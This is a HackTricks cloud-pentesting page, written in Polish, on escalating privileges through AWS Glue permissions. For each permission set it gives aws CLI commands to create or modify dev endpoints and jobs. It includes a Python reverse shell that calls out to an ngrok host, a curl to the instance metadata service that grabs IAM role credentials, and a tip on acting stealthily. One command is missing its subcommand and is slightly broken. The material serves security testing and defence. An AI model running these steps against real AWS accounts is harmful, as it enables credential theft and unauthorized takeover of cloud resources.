AWS - Glue Privesc

Wesprzyj HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Użytkownicy posiadający te uprawnienia mogą skonfigurować nowy punkt końcowy dla rozwoju AWS Glue, przypisując istniejącą rolę usługi, którą można przejąć przez Glue z określonymi uprawnieniami do tego punktu końcowego.

Po skonfigurowaniu atakujący może uzyskać dostęp SSH do instancji punktu końcowego i ukraść poświadczenia IAM przypisanej roli:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

W celu zachowania dyskrecji zaleca się korzystanie z poświadczeń IAM z wirtualnej maszyny Glue.

Potencjalny wpływ: Eskalacja uprawnień do określonej roli usługi Glue.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Użytkownicy z tym uprawnieniem mogą zmieniać istniejący punkt końcowy deweloperski Glue, umożliwiając dostęp SSH do niego. Pozwala to atakującemu wykonywać polecenia z uprawnieniami przypisanej roli punktu końcowego:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potencjalne skutki: Eskalacja uprawnień do roli usługi Glue.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Użytkownicy posiadający iam:PassRole w połączeniu z glue:CreateJob lub glue:UpdateJob, oraz z glue:StartJobRun lub glue:CreateTrigger mogą tworzyć lub aktualizować zadanie AWS Glue, przypisując dowolne konto usługi Glue, i uruchamiać wykonanie zadania. Możliwości zadania obejmują uruchamianie arbitralnego kodu Pythona, co może zostać wykorzystane do ustanowienia powrotnej powłoki. Następnie powrotna powłoka może zostać wykorzystana do wycieku poświadczeń IAM przypisanych do roli przypisanej do zadania Glue, co prowadzi do potencjalnego nieautoryzowanego dostępu lub działań na podstawie uprawnień tej roli:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potencjalny wpływ: Przywileje do roli usługi glue określonej.

glue:UpdateJob

Tylko z uprawnieniem do aktualizacji atakujący mógłby ukraść poświadczenia IAM już przypisane do roli.

Potencjalny wpływ: Przywileje do roli usługi glue przypisanej.

Referencje

Last updated